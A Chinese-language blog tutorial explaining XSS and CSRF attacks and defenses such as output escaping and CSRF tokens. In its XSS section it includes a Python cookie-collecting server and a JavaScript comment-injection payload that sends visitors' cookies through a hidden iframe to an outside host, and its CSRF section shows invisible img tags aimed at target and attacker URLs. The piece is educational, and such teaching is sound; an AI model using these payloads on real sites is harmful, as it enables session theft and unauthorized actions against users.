跨站请求伪造（CSRF）和跨站脚本攻击(XSS)

2020-12-18 17:11:17 编辑 1 阅读量:537

# 一、概括
- XSS - Cross-site scripting
xss其实就是html的注入问题，攻击者的输入没有经过严格的控制进入数据库，最终显示给来访的用户，导致可以在来访用户 的浏览器里以浏览器用户的身份执行html代码，这通常可以盗取cookie或者页面内所有的信息

- CSRF 
顾名思义，是伪造请求，冒充用户在站内的正常操作。CSRF产生的根本原因：cookie会被第三方发起的跨站请求携带，这本质上是HTTP协议设计的漏洞。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，最好的方法是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。CSRF可以不单在本页面，也可以在其他页面发生。

# 二、如何发生

## 2.1 XSS
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有` JavaScript` 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。

运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
```
while (true) {
    alert("你关不掉我~");
}
```
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
```
#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站脚本注入的信息收集服务器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)

@app.route('/myxss/')
def show(cookies, db):
    SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
    try:
        db.execute(SQL, cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()
```
然后在某一个页面的评论中注入这段代码：
```
// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);
```
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。

我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。

## 2.2 CSRF
首先，我们来了解一些Web浏览器对于Cookie和HTTP身份验证信息之类的会话信息的处理方式。目前，浏览器会自动地发送标识用户对话的信息，而无需用户干预，换句话说，当浏览器发送这些身份信息的时候，用户根本感觉不到。假设站点A上有一个Web应用程序，并且受害者正好已经在该站点上通过了身份认证，这时，站点会向受害者发送一个cookie作为响应，这个cookie的作用是什么呢？主要是被站点作为用户会话的标志，即如果站点收到了带有受害者的cookie的请求，那么它就会把这个请求看作是已登录的受害者发来的。一般情况下，浏览器收到站点设置的cookie之后，每当向该站点发送请求的时候，浏览器都会“自动地”连同该cookie一起发出。
通过使用诸如img之类的标签，甚至不需要用户点击具体的链接就能发动攻势。假设攻击者向用户发送了一封电子邮件，诱骗用户访问一个URL，而该URL则指向一个包含下列HTML内容（注意，内容已作精简）的页面：
```
 [html][body]
...
<img src=”https://www.company.example/action” width=”0” height=”0”>
...
[/body][/html]
```

当浏览器显示该页面时，它也将设法显示这个指定宽度为0的图像，即该图像是不可见的——这会导致自动向站点中的Web 应用程序发送一个请求。要紧的是，浏览器不管该图像URL实际是否指向一个图片，只要src字段中规定了URL，就会按照该地址触发一个请求。当然，这里有一个前提，那就是浏览器没有禁止下载图像——实际上浏览器都配置成允许下载图像，因为禁用图像后大多数Web应用程序的可用性就会大打折扣。与跨站请求伪造有关的HTML标签问题是总结如下：

页面中有许多标签会导致自动发出HTTP请求（img标签便是其中之一）；

浏览器无法断定img标签所引用的资源到底是不是图像以及是否是有害的；

当加载图像时，根本就不考虑所涉及的图像所在的位置，即表单和图像不必位于同一个主机上，甚至可以不再同一个域内。虽然这是一个非常便利的特性，但是却给应用程序的隔离制造的障碍。正是由于与Web 应用程序无关的HTML内容可以引用应用程序中的各种组件，以及浏览器可以自动为该应用程序构造一个有效的请求这两个事实才导致了这种攻击的出现。这意味着，正确的URL必须包含用户会话有关的信息，而攻击者却无法得知这些信息，因此不可能识别这样的URL。

对于集成了邮件/浏览器功能的工作平台，跨站请求伪造问题可能更为严重，因为，仅仅显示一封包含该图像的电子邮件就会导致请求及有关浏览器cookie一起向Web应用程序发去。

另外，攻击者还可以对这些东西进行伪装，例如引用貌似合法的图像URLs，例如
```
<img src=”https://[attacker]/picture.gif” width=”0” height=”0”>
```

这里，[attacker]是攻击者控制下的站点，并通过重定向机制将`http://[attacker ]/picture. gif`转向`http://[thirdparty ]/action`。

# 三、如何防范

## 3.1 防范XSS
对所有用户输入做处理，展示的时候进行转义

## 3.2 防范CSRF
### 方法一
前后端分离，用json请求，然后浏览器headers设置禁止跨域

### 方法二
提交表单时使用token
token 的实现也有三中思路，其中第三种的效果最好：
#### token方法一：

第一步：后端随机产生一个token，把这个token保存在SESSION状态中；同时，后端把这个token交给前端页面；

第二步：下次前端需要发起请求（比如发帖）的时候把这个token加入到请求数据或者头信息中，一起传给后端；

第三步：后端校验前端请求带过来的token和SESSION里的token是否一致；

#### token方法二

第一步：后端随机产生一个token，基于这个token通过SHA-56等散列算法生成一个密文；

第二步：后端将这个token和生成的密文都设置为cookie，返回给前端；

第三步：前端需要发起请求的时候，从cookie中获取token，把这个token加入到请求数据或者头信息中，一起传给后端；

第四步：后端校验cookie中的密文，以及前端请求带过来的token，进行正向散列验证；

当然这样实现也有需要注意的：

散列算法都是需要计算的，这里会有性能风险；

token参数必须由前端处理之后交给后端，而不能直接通过cookie；

cookie更臃肿，会不可避免地让头信息更重；

#### token方法三
```
在登陆成功后，后端在结果中返回一个经过加密的token字段，token包括一些用户基本信息以及时效性之类的
前端再请求其他接口时，采用bearer认证的方式将token放入header中（不使用cookie认证）
后端校验header中的token，判断用户信息以及是否过期等
```

---
参考：
- [1][使用flask实现用户管理以及权限管理](http://cblog.xyz/article/307)
- [2][前后端分离架构下CSRF防御机制](https://segmentfault.com/a/1190000006944760)
- [3][网站安全之——cookie窃取和session劫持](http://kavy.iteye.com/blog/2217878)
- [4][Web安全测试之跨站请求伪造（CSRF）篇(1)](http://netsecurity.51cto.com/art/200811/97281.htm)
- [5][Cookie窃取攻击剖析](https://www.cnblogs.com/glyx/p/5798096.html)
- [6][XSS跨站脚本攻击与CSRF跨站请求伪造攻击的学习总结](http://blog.csdn.net/baidu_24024601/article/details/51957270)
- [7][Django_CSRF_原理分析](http://blog.csdn.net/u011715678/article/details/48561181)
- [8][总结 XSS 与 CSRF 两种跨站攻击](https://blog.tonyseek.com/post/introduce-to-xss-and-csrf/#id4)
- [9][web安全之XSS,CSRF](http://www.jianshu.com/p/64f60ce328b9)
- [10][Cookie/Session的机制与安全](http://harttle.land/2015/08/10/cookie-session.html)
- [11][ 客户端session vs 服务端session](https://cnodejs.org/topic/53971784a087f45620ea988a)

跨站请求伪造（CSRF）和跨站脚本攻击(XSS)

附件: